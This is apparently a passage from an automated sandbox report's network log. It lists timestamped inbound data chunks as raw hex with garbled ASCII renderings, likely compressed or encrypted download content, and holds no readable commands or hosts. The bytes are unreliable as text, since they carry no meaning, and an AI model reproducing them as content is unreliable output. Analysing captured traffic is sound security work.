d8 7b 26 83 d0 06 fb 84 62 a6 71 a7 00 aa 24 7f 8b 68 b5 9e 54 5c c0 0d 6d ae 0d 14 b1 2a 05 d0 fc 75 bc 09 39 a4 9e 30 
26 fc 6d f4 a5 c7 0e 3b 47 c3 4c 9f ca a8 6c 90 4e f7 2b 63 9c 68 42 38 df b0 d3 29 3c cb 6f b1 09 ce d2 53 0a 07 25 3e c1 
e0 26 a0 43 5c 8b 2f d1 1f 79 4a 01 a2 7d 3d fc 19 
Data Ascii: Mud)jhOw097+~^@?$Qh$C!oFd!w)V*f,EXo9Jte-CQ@;HR&'vs]_!C_{&bq$hT\m*u90&m;GLlN+chB8)<oS%>&C
\/yJ}=

2022-09-20 10:10:08 UTC 2716 IN Data Raw: f1 71 9d dd 18 98 10 f2 c3 23 cc b5 c3 5d 5c b7 1c 36 55 48 77 ce 83 6f b6 3d 41 61 b1 ea fc 27 68 93 bd 05 
3a 79 f8 7e 8c 08 c6 46 f9 d6 6e 42 c9 36 7f 3b 9c f1 22 63 1a 9d 37 4f 50 2a a2 21 7a 2e 5d 81 5f 97 c0 6f ed e3 9d 5c 3e 
1a 0e ba 90 8b 97 c9 4a 73 2e 11 1b f9 5f 08 d8 66 f5 5c 11 a8 e1 86 9f e1 77 d5 27 df 89 f7 8f c7 92 c8 13 90 f5 e8 67 7e 
11 3c a8 55 0a 94 32 bc 69 70 2b 65 76 8c da 56 32 02 11 cf a9 ca a9 28 ec e9 91 af e9 a0 37 06 53 2c 56 94 73 8a 74 b7 
ea 7d bc 74 26 b7 ea 46 7d a3 a8 4f 3f 44 c7 3c d5 29 ba 95 71 90 8d cc 0a 19 6f f8 a6 46 8a b9 ee 45 f4 09 b3 93 d7 e2 
8e 2c 2c b1 7b 2e 54 6f 79 48 04 d2 53 fe 39 b1 10 b4 90 d5 0f f3 32 60 c4 86 52 42 67 94 5e d3 67 88 78 75 c0 42 25 82 
b8 e7 8e c7 c8 48 ba 18 78 69 7e 22 9e 89 7b d3 a0 
Data Ascii: q#]\6UHwo=Aa'h:y~FnB6;"c7OP*!z.]_o\>Js._f\w'g~<U2ip+evV2(7S,Vst}t&F}O?D<)qoFE,,{.ToyHS92
`RBg^gxuB%Hxi~"{

2022-09-20 10:10:08 UTC 2723 IN Data Raw: 5c f8 de dc 93 05 b0 ca a4 7e ae 4d db a6 7d 00 45 54 ef 79 fd 6a 35 dd be d5 b5 5a b7 46 67 7f 7c 84 c3 16 
a3 b2 12 bc 3e 95 e8 f3 7c f6 59 19 10 e9 c1 e1 69 be 5d 5d 3c 85 6f 02 8b 82 a7 f5 db b0 36 22 1e 3e 3b 1c 1a d7 0b 7c 
78 a6 a6 bb 56 9f e4 af 71 ad 16 cf 5e 57 eb 96 b3 df 5b e6 08 76 d1 36 86 43 a2 fd ae ea a5 4a c9 73 b5 6d 13 42 b3 ba 
8f d5 3e 10 40 53 f1 f7 7c 35 90 9a 63 23 74 8d dc b7 a1 23 45 6f 7d 9f cd 36 a0 a2 cc a2 1a 31 67 34 cc 33 ad 31 5f ab 
7a d2 d8 ce d0 b6 6f 38 7c d6 06 fd 8c 50 5a 4a 70 8a d3 f7 6d 97 7e 1b 82 25 02 e6 c3 be f7 52 b5 92 b4 40 e3 e2 33 82 
93 52 25 d4 ad 5b b2 4a 2f 15 54 a0 73 2d ba d3 ef bd ae 74 4f 9f a9 65 c7 6a ee a8 f5 ac 5f f0 9d 1a 7a 3f df a9 3a 01 a8 
9e f1 0e b9 93 57 03 6d 91 e7 e5 c4 f8 33 a0 f9 d1 b6 
Data Ascii: \~M}ETyj5ZFg|>|Yi]]<o6">;|xVq^W[v6CJsmB>@S|5c#t#Eo}61g431_zo8|PZJpm~%R@3R%[J/Ts-tOej_z?:
Wm3

2022-09-20 10:10:08 UTC 2731 IN Data Raw: 9b 71 d2 24 57 f0 d4 55 49 24 4a 13 c8 23 10 32 30 8e fd d4 13 ac b7 59 60 95 80 a5 e3 97 9c a9 28 3a fb 78 
d8 6f b3 8c 48 5d 5f 86 3b 80 d3 b1 25 9c 6b 8d 5f 44 b2 b8 e7 cf c3 74 2c 9e 61 9d 8a 6a 2a b4 78 1c 75 94 0e a7 c5 dd 
b9 a3 b3 a4 c3 30 f9 79 69 f7 f6 c4 db ec c2 59 51 a4 1f 42 b5 2d 59 6e d1 f3 0c f2 71 ad 22 64 e0 4c ba 7f d3 4e 9b c5 ac 
99 fc 3f 88 f9 bf 13 52 c1 79 4e 98 aa c0 c9 74 b8 c6 e4 5f e6 c0 a5 55 e0 d3 23 11 04 97 c4 35 52 83 78 b4 e8 0f c1 0f 1a 
e8 f4 b7 08 b8 2d da 36 a3 fc a8 85 3e 52 9f b7 1a 7f 6f 53 1a c1 70 02 a8 5f 7a 91 3d 2e 1e 12 28 1f 2d 91 fe e3 a4 c4 fa 
85 32 7f 54 ff f1 9e a4 fa 85 c8 aa ef 7f f0 c4 fa 8f 23 24 bd a4 cd 4f ac ff d8 3b 09 7c 5d 93 c0 d7 3b 0e be 31 c9 e1 43 56 
7d 4c 72 f8 38 9e e4 ac c4 ed 6b 37 26 89 
Data Ascii: q$WUI$J#20Y`(:xoH]_;%k_Dt,aj*xu0yiYQB-Ynq"dLN?RyNt_U#5Rx-6>RoSp_z=.(-2T#$O;|];1CV}Lr8k7&

2022-09-20 10:10:08 UTC 2739 IN Data Raw: 55 db 06 af 59 fe 62 3b 99 31 23 14 00 08 31 fd 67 04 25 aa 97 8e c3 1e e5 b9 56 71 8a 2f c6 29 a5 ec 04 a3 
fa 54 25 50 bc 2f 14 64 6d 29 39 e1 65 f7 a8 a2 58 43 f8 19 f2 bb 5a 63 37 ef 6b f7 85 c5 f2 35 4a 2c 27 32 fc 95 09 46 d0 
73 6f f0 da de 18 90 59 38 4d ae cf 80 c0 6e 3a 1e cb 45 ad e5 ee d4 f0 4b d1 f3 ac 48 74 2b 3d 0a 08 b0 e0 9a b8 75 f1 
80 9c b1 27 2c 38 f0 43 5a 73 24 b6 94 27 ae d4 ed 09 4a fd 5b 94 c2 3e 33 fd 45 f2 43 46 2b 4a 9e 04 a4 1b f7 71 36 d5 
6a 5a 4a f2 fa 9e 1c 57 f3 1d 09 6a 1e 27 6b 4e 13 35 a3 9b c8 5f 27 6b 87 9b 3a d5 9a c8 0f 7c d4 a7 65 13 0e d3 54 86 
d4 54 e6 b5 60 32 47 6e 68 8b 18 37 47 ef 65 d3 e1 ee 83 fd 19 28 08 ee 4f 00 c1 a7 dd c4 fe d2 5f 72 30 f7 1c 57 64 59 
82 22 cf a2 48 6b bb 75 fe 8c b7 7f 8e d9 4f 8c 32 3d 
Data Ascii: UYb;1#1g%Vq/)T%P/dm)9eXCZc7k5J,'2FsoY8Mn:EKHt+=u',8CZs$'J[>3ECF+Jq6jZJWj'kN5_'k:|eTT`2Gn
h7Ge(O_r0WdY"HkuO2=

2022-09-20 10:10:08 UTC 2747 IN Data Raw: 10 75 32 31 db df 71 c7 67 bb 08 bb 54 ba 96 bc f7 33 b7 c1 bf 94 e2 4e 32 95 a2 ce c0 b8 8e f6 39 6a 43 a9 
d7 36 5f 75 82 db c3 dd da fd f0 b9 1e ed f0 9e d2 c8 61 1e ba 9d 20 67 1f 9f d1 70 02 e4 f6 12 ae 2a 1d ef 3b 30 85 e3 af 
18 fb 11 df 40 ae 7d 28 8a 7f 7a 96 41 7a 9b a0 87 f8 07 f6 53 ee 9f 27 e7 37 8f 4c 48 0a 6d d0 ee 7d 3a 86 3f 05 ea db 
61 db c2 08 e5 62 c4 7f 48 86 85 98 69 27 d5 04 e2 aa 5c 51 83 e3 5f 6f 77 dd d2 04 ae 46 c5 ee 24 dc cf 00 71 62 58 fd 
1f 47 08 fc 94 62 77 8a e6 01 91 1c 85 f6 24 ed ec f5 34 f4 89 f7 20 92 4e ca b0 b3 1e 27 e4 71 db 4d f8 f7 49 ca 15 81 83 
de 85 8d 20 a8 a2 c3 2a 40 bd 36 da 22 a6 c4 6f 12 3f 63 d6 55 76 8f e8 81 78 64 a4 a3 6e 79 14 43 cb 33 05 9c cb f7 8f 
52 f3 ef 69 0b 78 e3 ab 4b da d9 2d c8 7b 48 25 cc 
Data Ascii: u21qgT3N29jC6_ua gp*;0@}(zAzS'7LHm}:?abHi'\Q_owF$qbXGbw$4 N'qMI *@6"o?cUvxdnyC3RixK-{H%

2022-09-20 10:10:08 UTC 2755 IN Data Raw: 7e cf 2e 7a ab 60 35 13 8a 15 fa 9b f9 c7 8c b3 b2 51 cb 92 60 07 67 15 61 ff 1b 76 19 40 5b 4f 5f 97 69 9c 2e 
77 7f c2 e8 77 ba 95 97 d8 5c 31 1d ab f1 2e b0 89 e5 83 15 52 cc e4 0e 41 12 c5 f2 db 85 e0 5e 5b fc 46 e5 39 7a 46 fd 
c6 e0 88 bb 6a 0f 86 6b 64 94 94 2c 7d 10 8a ae 4f 2d f9 44 9f c9 eb 56 fd 73 ab 4e 01 ba df 04 00 dd 74 65 97 be 94 f5 
62 80 4a 37 65 33 6e 72 f0 4a 16 a7 be 62 14 2c 22 66 8a 5b 3e 66 22 f6 b2 2c fd e2 12 62 8b 97 2f be 24 ec f4 bd f4 8a 
91 c9 72 22 5e 8e 8a de 77 01 99 13 57 e0 aa 0f 2e f1 97 f2 15 23 39 19 e9 27 a4 c8 f4 d0 4e 7f 69 b8 3a ec 41 26 7b 70 
9f f1 20 89 3d b8 dd 78 60 65 0f 72 8c 07 36 f6 20 cd 78 10 c3 1e 5c 60 3c 10 d8 83 a1 bd eb 23 51 6a 62 9c a5 fd 0a 16 
9c 6b c6 e1 14 8e c3 b4 8f d9 52 bd 1a cb 96 6a 59 7f 
Data Ascii: ~.z`5Q`gav@[O_i.ww\1.RA^[F9zFjkd,}O-DVsNtebJ7e3nrJb,"f[>f",b/$r"^wW.#9'Ni:A&{p =x`er6 x\`<#QjbkRjY

2022-09-20 10:10:08 UTC 2762 IN Data Raw: 2f fe 2a 54 49 f6 14 07 e9 c0 82 c5 a4 99 61 fb 6f 78 7b 58 e0 97 d1 02 88 01 77 7d 5c 8f 19 f3 93 98 f7 3e cd 
6f be 33 0f 55 a5 95 6c 6e 77 e1 dc 16 04 a6 85 4d fd d3 7d 3a 96 e8 fe 23 1b 06 e7 f4 a7 e2 8c b3 60 4e 3b 60 4e 99 30 
a7 13 4a 1b 7c 90 cb 57 2e db 74 09 a3 a9 bb 22 f9 2c 70 3f bd 74 08 57 15 13 e1 b5 09 8b 57 87 d6 ea f9 e1 a2 26 05 ed 
da 0e 51 a4 c9 eb bf 36 1f cc 5f 8b 2e 2a e8 31 83 46 68 87 6f 8b 74 36 ee 77 0e 48 02 5a 7d f0 32 63 a6 76 0f 80 c1 fa 
39 2d 9e a2 c8 ff aa 13 25 1e ff 67 ce 32 93 b4 35 9f 65 6b 9e c1 79 1c 95 17 07 f9 db 72 88 d9 92 11 e0 00 5b c9 04 7b 
d5 4c bc 51 b2 9b b7 20 6f 0f 3f f3 f9 a3 02 9e 9a 61 06 6d 49 cb a5 21 3a ec a8 28 09 06 aa 00 91 c9 9d 61 d1 fb 7b 94 
9d ba ed a2 77 17 93 94 66 c8 6d b1 e2 d3 9b 2d 98 a1 
Data Ascii: /*TIaox{Xw}\>o3UlnwM}:#`N;`N0J|W.t",p?tWW&Q6_.*1Fhot6wHZ}2cv9-%g25ekyr[{LQ o?amI!:(a{wfm-

2022-09-20 10:10:08 UTC 2770 IN Data Raw: cd 89 e8 d7 bf 63 af 4b be e5 be 72 b9 da 28 6a 71 b3 a0 d4 96 02 3f 94 9b 5a 33 a6 a1 0c 0d e2 f2 89 e3 24 
6f 43 db 18 de b6 f9 b8 a9 b7 b9 a2 f7 44 1c 1f 2c 86 5e 6f 3e ce 05 74 5b 14 59 ac a1 af 48 3a 9c 91 91 24 3e b1 c6 a2 
4b 87 af 7e 7a ef 3c d3 3e 3b fe 81 be cf 82 5d 2c 67 f3 03 00 9c 2e ab 6c 77 44 8e 8b 79 e7 f4 75 5c 14 c1 71 01 b8 b9 
70 44 44 5a 5c f4 9f 5e b2 89 ef 7b e4 6d 88 71 a9 65 bd 95 a7 d8 46 7f 8b aa 80 61 1f 01 0e f8 7a 88 ef 8d ef 8f 46 f2 69 
a4 d9 2d a7 99 7a fa fd 6c ac c9 24 18 37 90 f9 3d 06 9b d1 41 00 94 ed 6d 16 89 b2 57 56 22 29 fa 30 5c 01 53 96 5c 6a 
23 f0 0b 38 01 04 66 60 be fb 44 3c 31 fc 76 0a 6c 2b 82 2e 8f 0a 4a 87 fa c2 61 b6 23 38 61 54 5b 13 53 69 d8 15 21 0a 
8d 6f 11 7d 5e 3b cd 30 8d 34 f2 3a 94 39 3d a8 cc a6 
Data Ascii: cKr(jq?Z3$oCD,^o>t[YH:$>K~z<>;],g.lwDyu\qpDDZ\^{mqeFazFi-zl$7=AmWV")0\S\j#8f`D<1vl+.Ja#8aT[Si!o}^;
04:9=

Timestamp
kBytes
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2022-09-20 10:10:08 UTC 2778 IN Data Raw: 83 f2 9f 4e 1f cf 63 ff 03 bb 4f 97 77 48 3b 0e dc 11 5e 7d df 9c 39 73 98 95 28 45 69 f0 4b ce 59 68 88 2d a4 
02 7e 69 4a 43 b0 73 4c ab a6 6c 0e b6 c7 24 6f ff 02 a9 59 3a fb 2b fc 42 a9 05 6d b0 f5 88 52 0b ad 83 1d 31 ca e6 e4 
a0 27 e4 9f 3c 0e e3 2e 12 6a 26 8f 43 f3 d8 2a fc 8f bb ca 3f d5 26 e6 35 28 b5 81 69 31 c9 f5 ee cd cc 68 48 2e 37 53 
2b 95 0e e8 46 99 6c a3 6b 70 e0 9e ff 45 67 95 c9 e3 94 c9 09 fe c9 56 38 40 9b 92 4a 36 92 1a 58 9b a3 dc 6e 55 4e a8 
eb 7f a6 2b c4 54 e1 6e ac 99 65 67 4e 4a fa c5 14 1a f0 58 c1 36 bc 86 c3 7c 2d ba f5 a7 8c f1 fa 6c 7f 26 da 18 1e 86 e3 
7b e7 7c 32 3d da b1 3a 37 3a 4e 04 b0 60 68 81 d3 b1 13 1d 0c b0 0e dc 99 7b a6 79 a9 57 87 e8 4e 34 45 a9 2e 69 b7 
14 87 c3 52 0a 5a 2e f0 da 7c 9c fa 7a 0f 15 f3 55 31 
Data Ascii: NcOwH;^}9s(EiKYh-~iJCsLl$oY:+BmR1'<.j&C*?&5(i1hH.7S+FlkpEgV8@J6XnUN+TnegNJX6|-l&{|2=:7:N
`h{yWN4E.iRZ.|zU1

2022-09-20 10:10:08 UTC 2786 IN Data Raw: 58 9a a1 1a 80 38 07 24 81 87 62 8c 0d fe 36 76 c5 ab f0 7e 5c d3 0f ff c2 df ae 23 da 7f 4c e6 2c 8c 57 e6 89 
09 50 81 c1 1c af 35 fe 7c ab 72 d4 9f 69 0f f6 f4 a3 2a d2 49 28 18 4f b1 81 e0 33 88 fb f9 54 0a ee 2a f2 00 50 af 6d a7 fd
38 0a 57 91 e2 92 97 38 80 ec 46 06 0f c6 a0 65 55 72 da 84 56 7d 2b aa e3 27 b0 1b 49 45 0b 2c 70 40 ff 01 c7 e3 f2 1e 
90 9e de 36 a4 a7 42 20 c2 ee e4 5a b2 de 01 49 bb 2a 78 29 18 ca 6b e8 3f 17 cd 7e 89 b0 07 40 7a e2 a2 53 4e 97 7f 
32 8a 4e 27 16 ef 51 36 a3 71 60 3c dd dd 0f e7 55 14 53 82 5a 8c 5c 3d dc 7d 22 90 10 40 18 d6 30 47 83 8d 98 e2 19 
8b 30 5b 45 18 12 53 84 8d c2 6d ce e8 9f 52 50 ce 60 e2 fe 28 23 99 20 8c ff ae fb c4 a2 6d f0 9f c5 2d a1 6f cd fe 44 b7 
4f 83 2d 98 80 55 7d fd 77 d8 fd 93 ed c9 55 1e 17 
Data Ascii: X8$b6v~\#L,WP5|ri*I(O3T*Pm8W8FeUrV}+'IE,p@6B ZI*x)k?~@zSN2N'Q6q`<USZ\=}"@0G0[ESmRP`(# m-
oDO-U}wU

2022-09-20 10:10:08 UTC 2794 IN Data Raw: bc 6b 4c 94 84 d8 f0 b8 e0 71 d7 71 c1 f0 3c 94 d1 16 52 60 4c c1 b1 8a 58 81 bb 43 cf bb 36 86 46 1c a3 1b 
43 3d d9 52 6b b0 41 55 09 9f a5 13 7a d5 0d 2c 41 e3 c0 3a 09 81 28 39 b0 66 3d 14 f7 9a a7 a0 0e 15 67 3c e7 60 ea 
35 a8 db b7 a1 a8 36 26 b4 56 b6 1b b7 d0 36 c4 bd ff 15 21 69 37 0c 28 07 da 07 8d 48 85 5a f7 3a 18 c3 a5 7c 67 7d 70 
d9 c9 9a 1e 8e 09 7a 64 78 34 51 a2 af f2 9d d9 c2 d0 24 ef a2 54 7f 41 e6 77 4c 94 b1 64 64 3b 04 21 21 30 7d d3 ed 05 
11 34 6f 85 16 eb af 4b 69 ed 66 3f e6 ea 2a 7d 50 c9 35 21 08 01 74 93 68 53 f1 3a 3a a2 ab 50 4c 6d 54 3d 5e 05 8e 07 
f6 61 2b 14 e9 b7 31 d7 2d a7 0c ba bb 2e 6d 3e 3c 7b a2 8e de 18 03 86 3c cb be a9 09 a8 0d 25 8a 95 dd ac ee 57 88 ff 
c2 b7 fc 15 e2 2c 9b 83 32 3b 20 9b 05 60 bd 78 9b ed 4b 56 
Data Ascii: kLqq<R`LXC6FC=RkAUz,A:(9f=g<`56&V6!i7(HZ:|g}pzdx4Q$TAwLdd;!!0}4oKif?*}P5!thS::PLmT=^a+1-.m>
<{<%W,2; `xKV

2022-09-20 10:10:08 UTC 2801 IN Data Raw: ef 04 f9 2f 0a f9 7f 13 f2 3f 09 f2 7f 34 e4 7f 23 e4 7f 5f c8 ff 86 d3 eb 13 13 bf 4c 1e 33 e6 55 59 61 e1 a7 d9 
a3 47 ff 62 bc 7b 77 fd 08 9b 7d 6f 67 56 d6 fc 88 53 a7 e2 42 2d 2d f9 05 f8 f8 2e 55 a6 a4 0c 1c 6b 6a fa 44 f5 e7 cf 3d 
09 37 6e f4 7f bc 65 cb cb 65 05 05 73 fd ce 9d d3 5e 39 71 e2 74 cf ba ba 6f 53 c7 8e 7d ad f8 ed db ae 17 83 07 cf a9 f3 
f7 6f 97 78 f3 c6 eb e5 b6 6d d5 29 d7 ae c5 fe 58 b3 c6 ef f9 8e 1d 7a c7 56 ac 08 ff bc 6e dd c3 c5 39 39 cb a3 6b 6a f2 
4f ec db 77 5f e3 c7 0f b7 ed 0b 17 06 0d 37 34 4c 1f 62 6f 3f ce cb c3 e3 23 ff e7 cf 93 42 2e 5c 48 1d 6a 6b 3b e0 c3 fa 
f5 97 6d 1f 3d fa 2a fa f6 ed 83 85 23 46 6c c9 bd 79 33 21 dc ca aa 97 87 a2 a2 a8 a4 a0 60 69 d8 99 33 7d 58 7a 7a 2b 
87 d5 d6 5a 1a ab a8 38 54 2c 5e 2c 2e 
Data Ascii: /?4#_L3UYaGb{w}ogVSB--.UkjD=7nees^9qtoS}oxm)XzVn99kjOw_74Lbo?#B.\Hjk;m=*#Fly3!`i3}Xzz+Z8T,^,.

2022-09-20 10:10:08 UTC 2809 IN Data Raw: 95 17 b7 38 89 05 a8 67 a2 a6 a1 61 74 6d 3e 7f d4 0b 12 c0 ca cc ca 4f 49 65 12 8e 51 dd 2f 12 7e 9a 01 34 
56 52 b3 d2 12 59 9d e1 50 98 69 e4 05 2e da 6b 52 11 fd e2 37 3f e7 8f 3d f9 99 49 f1 39 45 24 94 94 cc ef 69 93 86 d4 
9d cb dc fa f0 47 46 b3 92 78 05 c6 cc 4a a6 2f 29 97 fa ad 1c bb 00 27 97 35 22 1f 15 8a f5 07 c8 3a 76 74 87 58 c7 0e 
0e 45 c1 01 56 52 2e 89 91 9c 96 42 e5 a6 02 cd e8 4c 32 91 32 ae e1 cf ba 4e 06 48 f1 19 bc bb d6 c9 72 5e bd e4 81 af 
8b 9f 4e 93 a2 f2 52 59 9c 5b f8 47 77 43 0a 86 a4 c6 ce cc 2a cc a4 1b 6b 5e 2a 82 32 92 a8 3c 4e 65 ec 56 3e 9d 57 df 
71 ba ce be ad a3 9f e9 7a cd 1d 81 d9 39 69 19 69 04 86 54 7e 26 a7 5f 40 2d 22 f5 95 a2 ba b7 9d ee 77 2b 3f b3 23 7f 
24 13 1d fe 0c 56 6e 6e 3c 20 c3 eb ef d2 53 b2 72 d2 f2 
Data Ascii: 8gatm>OIeQ/~4VRYPi.kR7?=I9E$iGFxJ/)'5":vtXEVR.BL22NHr^NRY[GwC*k^*2<NeV>Wqz9iiT~&_@-"w+?#
$Vnn< Sr

2022-09-20 10:10:08 UTC 2817 IN Data Raw: 3e f1 be 95 52 02 0d d2 ee 67 ce be f4 d2 ca 5f 57 76 d1 f1 81 85 d4 73 97 8a 43 c5 d6 56 d5 ee 2a 8e 33 23 
82 45 0f 64 84 08 30 bc b3 8e 09 8a 7f 9a 27 b7 bf 77 d1 98 25 fa 39 55 45 03 77 4c df 71 58 bb 70 d9 3d 19 d1 85 b7 e4 
b6 cf ac 36 f7 a8 bf a3 9d 23 17 a9 3f 82 6d fe f8 ae 5a e8 d4 8b 93 57 ab f8 0f 1a a5 7c 5b 34 ef f0 b2 d5 87 67 8d 0d 7c 
e6 fc 72 d4 cb 6f 9a 25 4d c9 3e 62 89 57 6a 93 4e fa ab 68 bc 16 bd a5 68 ed e0 e2 73 57 e9 e0 09 7d 9f fe 15 72 03 4e 
b2 7a f1 53 8b 42 ef 3e 74 96 5f f5 a5 79 44 64 b0 95 cc f5 c2 ad 13 96 ab ca c6 be 1d 68 27 c8 3e b3 f6 86 8b 8a ac ab 
d8 7a fd c1 6d 8f e7 be fb d6 fe 76 49 ef 63 07 57 65 ba 2a 6a 65 fb b5 4e d9 99 f5 ec b9 f8 30 a9 29 d5 bd dc 87 68 3c d1 
2e fc 26 ec 16 7c e0 0e cb 44 5a f3 49 d9 f5 e9 ee 
Data Ascii: >Rg_WvsCV*3#Ed0'w%9UEwLqXp=6#?mZW|[4g|ro%M>bWjNhhsW}rNzSB>t_yDdh'>zmvIcWe*jeN0
)h<.&|DZI

2022-09-20 10:10:08 UTC 2825 IN Data Raw: 07 f5 9c 7b 85 3b f6 1e 9b 12 3c 2a 5d c0 6f 6f d2 0f 09 fe 5b 8c 61 e3 a8 19 a7 ef 4f f4 fa 30 60 d3 9e fe ec 75 
d3 c6 0f d9 53 37 a7 7e 6c dd a5 8b f3 27 8a 5f 10 9f fd b5 f2 52 70 2f 57 ca 73 84 db 01 4d b5 51 33 cf db ac 2d 33 11 73 
a4 b6 8d f8 3a f2 4c c6 49 cb 09 f3 c5 e3 44 2a ad 53 57 99 f1 69 0d 6f 9b 61 b5 fb f5 94 b3 76 23 46 5d b0 1a b7 3e fa e3 
54 41 4f 81 48 cd fa c4 42 95 8c d5 d7 bd 63 c7 6e dd 1b 35 ed d1 c3 67 96 45 ed 1f fa 2b d5 86 65 65 be d5 5a 95 6c aa 
f9 d0 60 cc ca 46 8f 57 4c 75 d7 d7 77 c3 bf b1 1b 0e 8b 07 f7 3d d9 e8 bd ec 98 e6 ed e7 8c e5 4b 74 4e 6d 61 38 db eb 
9e 32 cd 78 ba ea d3 ca 15 5b 26 6e 1f fa 2b f0 e3 08 ad 07 ef 92 ae f6 bf f1 20 cc f7 c7 07 df 22 9f c3 0b 25 e5 77 67 2f 
90 2f 11 93 ff b9 5d e3 d6 94 e3 df aa 66 
Data Ascii: {;<*]oo[aO0`uS7~l'_Rp/WsMQ3-3s:LID*SWioav#F]>TAOHBcn5gE+eeZl`FWLuw=KtNma82x[&n+ "%wg//]f

2022-09-20 10:10:08 UTC 2833 IN Data Raw: 37 aa 52 ef fd d3 33 47 c7 d7 3d 19 bc 4a 43 62 9e 95 e7 a6 3d 13 25 97 f6 b1 c8 1e d6 f8 e9 67 5e e6 a5 1b 
13 3f 08 68 e6 5c 56 7c 6e fd e6 e5 82 c0 d3 7c e7 26 0d 3e 76 65 96 03 df 87 fd 59 de 3b 6e 98 0e 18 c0 b4 09 34 b8 f0 
d8 5f 61 7c 93 fa a1 6b 97 0e a6 5f f2 6d 53 58 5e ff a2 c9 fd b6 ca f4 21 53 aa 8c 96 28 5b dd 34 9a d7 16 3e bc 6a 3b 9f 
a5 97 85 63 d3 23 a9 f0 55 db 84 17 fd fa 72 c4 e1 a0 5b 81 56 7e dd bd 3e 86 71 bb ee 5c 3b 6e 98 3d e6 ca ee 6f b5 f6 
0b 26 f3 db d6 d9 7d e8 3f b7 66 c3 bc 3b fb 7e 4d 39 7e 77 ee ec a5 cf 77 2f ac 1c 52 d5 68 34 5f b8 41 a3 6f b6 4e c1 5d 
f5 fd 3b 6e 3c b8 94 6d 12 af dd f6 24 7a c0 94 0a 17 bd 35 b5 f3 ca 43 16 ef 2a 8b a9 61 07 fb 0f 1e 63 bc e1 dc 51 6d 85 
ef 73 cc bf ce b9 27 d8 74 e2 50 d3 d3 a0 6b bd 
Data Ascii: 7R3G=JCb=%g^?h\V|n|&>veY;n4_a|k_mSX^!S([4>j;c#Ur[V~>q\;n=o&}?f;~M9~ww/Rh4_AoN];n<m$z5C*a
cQms'tPk

2022-09-20 10:10:08 UTC 2841 IN Data Raw: 0c 23 8d 56 4e 7f 76 74 c8 4c 1f c9 8e 15 b5 87 bf ac 7c 63 6b a3 32 da 78 fd d9 fe 26 93 7a 39 d6 3e 20 67 4d 
d7 76 f2 ba f1 72 52 6f f3 b7 8b 94 05 9a a3 36 b5 a8 9d 78 ed 71 44 96 dd 80 be e3 ae 05 d0 71 82 b3 6f 17 ad 9c 3e 74 
b0 cc cf 84 f4 da 4d db cd 13 3a bb 5f 0d 1a 59 71 b8 97 54 55 ad d1 99 65 8b 64 5b fa 4d b8 7b 4f ed 43 6d e5 da 0c c3 
7d f9 d2 bd 5e 8c 58 54 d4 f6 ad fc 6d 7c 39 15 ec ef 8d b0 5f 54 bb e7 f2 a4 c3 3f ae 9c ae ce b6 b9 73 7d 57 77 79 cb 93 
ef f2 be 65 5c 7b b6 e1 6e 2b 5b 32 aa f6 f9 13 1b 5c ab 23 f3 35 eb 61 96 f2 19 cd 71 6f 57 b4 df 52 32 ee c6 7a 23 1f 9a 
39 ab 6a a9 fb 80 17 a9 11 0b 16 a4 67 ac f9 ae 3d ea 7c eb 87 93 e0 4c a1 8e b9 e7 4d bf 80 57 5f bc 8d db 04 06 0d 1a 
da aa 8b 4a f8 98 11 a7 43 cf 27 5e 0b ea 57 6c 
Data Ascii: #VNvtL|ck2x&z9> gMvrRo6xqDqo>tM:_YqTUed[M{OCm}^XTm|9_T?s}Wwye\{n+[2\#5aqoWR2z#9jg=|LMW_J
C'^Wl

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 2848 IN Data Raw: 5c f8 f9 ae 52 b5 0b df 5e 95 6a 5d f8 79 b2 12 e5 fd 97 55 52 19 c8 cf 83 95 b4 06 36 d6 2f 0f f0 04 07 70 07 
2f f6 73 05 3f 88 80 00 30 05 13 a6 f7 07 00 1b 7b c0 af 21 e3 13 b9 2c e0 9f 42 f2 62 b5 36 01 52 98 dd 20 76 67 00 46 
90 c6 fb 14 cf b8 58 b1 4f bf f3 16 4c 23 72 04 1b f0 66 c4 99 5a 77 76 8a b2 ee 24 a6 ce 62 6a 7a ff 9f a8 d3 7f a6 1b ff a5 
bd 7f a2 37 ff 9b ee ab 99 7b 9d 44 0b 9d 60 0b 41 bd a2 1f 11 9b 14 92 d0 b0 d1 6b 21 e0 26 0c 0d 7d 51 12 fb f3 0b ec 
65 d6 f4 d4 4c 60 40 62 48 2f b3 e6 7b cb f5 47 1a a2 e3 98 06 17 5c 7f 62 80 e3 78 55 4c 6c fc 87 80 df f4 6e 10 d6 ab 80 
c1 21 89 41 09 11 fc 2e e9 9f 86 f5 2e b8 dd d4 7a 6f 13 83 38 95 91 db 7a 17 24 b1 09 69 62 52 40 4c 3c 2f 6c 6a a1 3e 
c8 c6 6d 7a 4e ca ab ae 4d ad 89 53 d0 70 f8 
Data Ascii: \R^j]yUR6/p/s?0{!,Bb6R vgFXOL#rfZwv$bjz7{D`Ak!&}QeL`@bH/{G\bxULln!A..zo8z$ibR@L</lj>mzNMSp

2022-09-20 10:10:08 UTC 2856 IN Data Raw: 79 7b 1f b2 3c 3f d1 38 aa 08 55 7e c7 c9 03 f9 77 b0 c0 b5 1c a3 af 84 e3 80 e4 65 90 eb 60 04 5a 4f e2 a0 b8 
cb 49 8c af 3c 4e 13 97 e6 41 fb 50 1f 30 1d f8 15 1e 9d 9b 47 2f 17 84 60 69 c0 31 f2 29 5c 15 9e 7d d6 c0 f6 8b 1c 20 d6 
c7 8c 3e da 37 02 4b 0d 47 d2 84 b5 9e d8 25 e9 2b ec 59 3a 1c 1d 72 77 11 9f b7 1d d0 42 30 96 10 37 07 b0 4c 37 c3 
a5 6f bd c0 4c ee 24 3c ef f6 12 cf 75 9d 09 55 f6 db 61 54 df f7 f4 5e 59 26 16 cb 7e a6 79 5a 47 e0 74 cd 06 88 1b 73 15 
ca bf 4c 21 cb a7 5c c7 15 cf 15 c0 da 5d 17 c6 7d 0b 26 1a ad 03 b0 ff a8 6f e4 eb 14 37 38 3b 60 33 4d 52 18 02 07 6b 
c6 d2 f2 4b a7 b0 5f f0 4f aa 2d 7d 11 53 47 2d c3 6c 8f ce 10 16 b6 8d be b9 19 87 b7 cc 1d a0 b6 ae 3d 9c 5a 7c 1f 75 1f 
56 c1 0b dc 4b 53 86 4c c1 be d7 77 91 59 2f a6 
Data Ascii: y{<?8U~we`ZOI<NAP0G/`i1)\} >7KG%+Y:rwB07L7oL$<uUaT^Y&~yZGtsL!\]}&o78;`3MRkK_O-}SG-l=Z|uV
KSLwY/

